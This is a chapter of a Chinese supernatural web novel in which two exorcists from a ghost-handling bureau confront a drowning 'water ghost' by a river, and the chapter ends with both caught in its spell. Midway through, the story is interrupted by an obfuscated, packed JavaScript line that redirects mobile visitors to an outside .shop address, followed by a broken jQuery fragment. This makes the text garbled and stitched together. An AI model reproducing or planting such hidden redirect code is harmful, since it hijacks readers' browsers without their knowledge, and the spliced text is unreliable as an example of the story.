“我到你家楼下了,下来没?”
“来了来了。”江后福挂断陈澈的电话,快步走出电梯。
昨晚陈澈就给她发来了信息。
赵水飞给陈澈下发了D级驱诡任务,同时要她在此次任务中带江后福试一下水。赵队会根据江后福此次的表现考虑是否让她加入处理局的驱鬼组。
还没走出大门,江后福老远就看见陈澈靠在车旁凹造型。
比起初见时的物业制服,还是她自己的日常穿搭更加合身。
不过,最显眼的还是她那标志性的火龙果色中分刘海。
“剪头发了?”
“嘿嘿,看起来是不是很帅?”陈澈撩了撩刘海,邪魅一笑。
“嗯,比当物业帅。”江后福竖起大拇指。
“啊啊啊,不准提这个,”陈澈瞬间撒了气。她穿着那件制服就和穿裙子一样不自在,以后如果不是工作需要,她绝不会再穿第二次。
“你吃早餐没?”江后福转移话题,顺手要打开后车门。
“吃了——你坐副驾驶吧,有东西要给你。”陈澈谨记赵水飞的嘱咐。
“好。”江后福绕到另一边上车。
陈澈让她打开副驾驶的储物箱,里面有一个特制的盒子。
盒子里是一把崭新的匕首,比一般的冷兵器要多一丝寒气。
“这是赵队分配给你的武器,是个诡异物品,但是普通人也能使用。”
江后福拿起匕首试了试,意外地趁手。
“哇哦,好厉害。”陈澈在余光中看到江后福的操作,“难怪赵队说这个很适合你,他还说等你转正后就把这个送给你呢。”
“赵队才是真厉害。”江后福嘴角微扬。只是简单握过一次手就判断出她有使用匕首的经验,即使掌心没有任何茧的痕迹。
她意识到赵水飞是真的很强。
如果可以,她希望有机会能与她切磋切磋。
“还有这个。”陈澈又递给她一个形似挂耳式耳机的小玩意,她自己耳朵上也戴着一个。
“这是我们局里的通讯设备,用来和调查部的职员联络,他们会给我们驱鬼人提供调查的信息。”
江后福接过通讯仪,挂上耳朵的一瞬间,就像被软体动物的吸盘牢牢吸附住。
“这个也是诡异物品?”
“对,它和你那把刀一样都是研究所的成果,还有我的枪也是。”陈澈拍了拍外套下鼓鼓的腰包,这可是她的命根子。
“差不多就开始工作吧。先带你认识一下和我们合作的同事。”陈澈轻敲了一下耳机,“驱鬼四组陈澈,任务等级D。”
江后福的耳机中也立刻出现了声音。
“您好,这里是调查一科祝小晴,工号2113,很高兴能辅助您此次的驱鬼工作。”耳机中传来的女声热情而充满活力。“请问这次与您同行的人是?”
“江后福,赵队报备过的预备队员。”
“你好,江后福,你可以叫我小晴,很高兴认识你。”
“你好,小晴。”江后福礼貌地打了个招呼。
“小晴业务能力超强的,是他们调查部数一数二的精英。”陈澈给江后福介绍。
“哈哈,您过奖了啦,也没那么夸张。”
“别这么谦虚嘛,这次的任务调查就拜托你了。”
“好的。本次的D级任务你们前往的是位于星城06区的香水河流段,有多位附近居民在河边沿江风光带目击到有不明人形从河里爬上岸,再从岸上跳下水,沉水后又重新出现在岸上,周而复始,持续一段时间后才消失。目前没有人员伤亡,但接触过的人都出现了不同程度的抑郁症状,并深陷于溺亡的噩梦之中。其中一人与之有身体接触,在接触后,也开始重复以上行为,后被及时救起。这一系列事情导致周边居民人心惶惶。”
“所以这次的任务是水诡?”已经到达目的地附近,陈澈在路边的车位上停好车。
“根据现有资料和我们对相关人员的调查,我们初步判断是D级的水诡,已知有精神污染和死亡替身的能力。”
“水诡出现的时间大概是什么时候?”陈澈给手枪装上子弹。”
“每次大概都是下午3:10左右,持续10至20分钟。”
“现在是2点半。”江后福看了一眼时间,提醒道。
“你会用枪吗?”陈澈突然问她。
“不是很好。”
“那就是会咯。”陈澈从扶手盒掏出另一把手枪递给江后福。
“虽然威力一般,但还是多一个保障。”陈澈朝她眨眨眼。
“那我们现在就开工吧。”她将装好子弹的枪放回腰包。
江后福将匕首藏于宽松的运动服左袖中,枪别在裤口袋里,衣服正好遮住。
陈澈下车将后备箱的另一个手提箱拿出。
“之前几次目击的位置都有所变化,判断是沿着河流向上游移动。你们现在所处的地方是第一次目击位置,经过前几次的数据推算此次水诡出现的位置大概是往上游700m处。”
陈澈和江后福在沿江风光带上沿着河道一路向上游走去。
现在是工作日的下午,沿江风光带上几乎没有行人,只有另一边的马路上偶尔传来车辆驶过的声音。
陈澈打开了手机上的监测软件,屏幕上显示的数值随着两人离车子的距离越来越远而逐渐变大。
“这个检测的是周围环境的诡力值。”
诡力值的数据一路上涨,两人一路向前。
直到它在一个数值保持不变,陈澈停下了脚步。
“我们到了。”
陈澈就地打开手提箱,将里面的小型黑色金字塔装置拿出,将它放在空地上。转动顶部,金字塔发生变形,黑色的气息从它敞开的内部扩散开来。
“这个……是诡域?”江后福感受到与当时亡夫的鬼域相似的力量,只是这股力量相对更弱。
“从理论上说确实是这样。这个是研究所根据诡域的特性设计出的屏蔽罩,可以防止普通人误入我们的工作区域。”
陈澈沿着金字塔的屏蔽区域认真检查。
江后福将手搭在石栏上,江风吹动她的发梢。
秋季雨水增多,香水河也愈发湍急。当你长时间的俯视水面,你会有一种水面在接近你的错觉。河水拍打在堤岸上,溅起的浪花仿佛要擦过你的脸颊。
“你说,为什么会出现水诡呢?”江后福当初也问过师父同样的问题。
为什么会出现丧尸呢?
她想不明白。
师父用压缩饼干堵住了她的嘴。
TM活着能吃就可以了,再问就给老子滚。
江后福默默啃着饼干……
“调查科收录的档案显示,通常在水中溺死后怨气不散的人会化为水诡。”
祝小晴用专业的参考文献为她解答。
陈澈靠在旁边的石栏上,探头看了一眼下面。
“家人们,有点恐怖啊。”她缩回脑袋,将随手放在石栏上的外套又拿回手上。
“等等,你们听到了吗?”江后福注意到奔腾的水声中混入了异样的声音。
“听到什么?”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13912827|147437||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
陈澈没有听到任何不对劲的声音。
“水滴落的声音——在你背后!快闪开!”江后福没想到水诡会比预计的时间来的更早。
听到江后福声音的刹那,陈澈一个疾步离开刚刚站的位置,转身间抽出腰间的手枪,原本搭在手臂上的外套掉落在地。
她双手持枪与现身的诡异面对面对峙。
刚才陈澈所站的位置后方诡异地出现一滩水渍,一个浮肿的黑影从水中冒出,朝两人的方向走来。
她们没有贸然开枪,而是举枪缓慢后退。
水诡呈现巨人观的身体只能勉强看出人形,它每次走动都会从身体里淌出无尽的混着细沙的河水,在石板路上留下长长的印记。
它并没有因为两个人类的出现而暴起,而是调转方向停到了石栏一处。
看起来臃肿的身体灵活地爬上了围栏,在上面停留一瞬,转头看一眼陈澈和江后福的方向,犹豫片刻,最终跳了下去。
两人连忙爬到围栏上去看河中的情况。
水诡并没有马上下沉,而是朝着一个方向移动,像是在追着什么。
没过多久,它终于又靠近岸边,开始在原地扑水,看起来就像是在剧烈挣扎一样。
大概三四分钟后,它又开始远离岸边,随着水流消失在河水中。
大概一分半钟后,它重新从那一摊水渍中冒出,机械地重复着先前的行为。
虽然已经听祝小晴说过,但陈澈亲眼看到这样的场景,还是十分震惊,毕竟这是她入职以来第一次遇到不会主动攻击的诡异。
“不对,”几番观察下来,江后福发现了调查报告中目击者证词中的纰漏,“它不是在挣扎。”
水诡的一举一动她都看的很清楚。
它的状态绝对不是临死前的慌乱,而更像是一种焦急。
她看到它有拉扯和推扶的动作。
“管它挣没挣扎,就个死靶子,直接干它就完了。”水诡刚冒出,陈澈就冲上去,对着它砰砰就是几枪。
陈澈的枪射出的子弹的伤害比江后福的更有效,但两人的子弹无一例外地直接穿过了它身体上形成的水洞。
“靠!”陈澈子弹都打完了,水诡却还毫发无损。
江后福发现在子弹射出的一瞬间,水诡的身上就已经开始变化出大大小小的水洞。
就像是专门为子弹穿过而准备的一样。
水诡不再停下脚步,而是径直朝陈澈走去。
江后福在侧后方接连射出子弹,为陈澈做掩护,但水诡还是在步步靠近。
陈澈一边换弹一边迅速后退,刚想举枪,却发现自己一脚踩在了水中。
水诡明明还在一定距离外,但他身下的水渍早已悄无声息地蔓延至了陈澈的脚下。
江后福的子弹也已经打光。
她想要上前去拉住行动变得呆滞的陈澈,同时还要小心还在不断延伸的水迹。
在江后福即将触碰到她衣角的刹那,陈澈爬上了石栏。
“陈澈!”江后福抓了个空。
陈澈一跃而下,落入湍急的香水河中,机械地重复着水诡的动作。
江后福也无法动弹了。
她的双脚已然被诡异的水渍包围。
思维有片刻的呆滞,待她强行清醒时,双手已经撑上了石栏。
纵使身体不受控制,江后福还是死死地用腰抵住围栏。
哗哗——水诡淌水而来。
冰冷又滑溜溜的触感从江后福的背后传来,鼻尖满是河底泥沙的腥味。
水诡贴上了她的后背。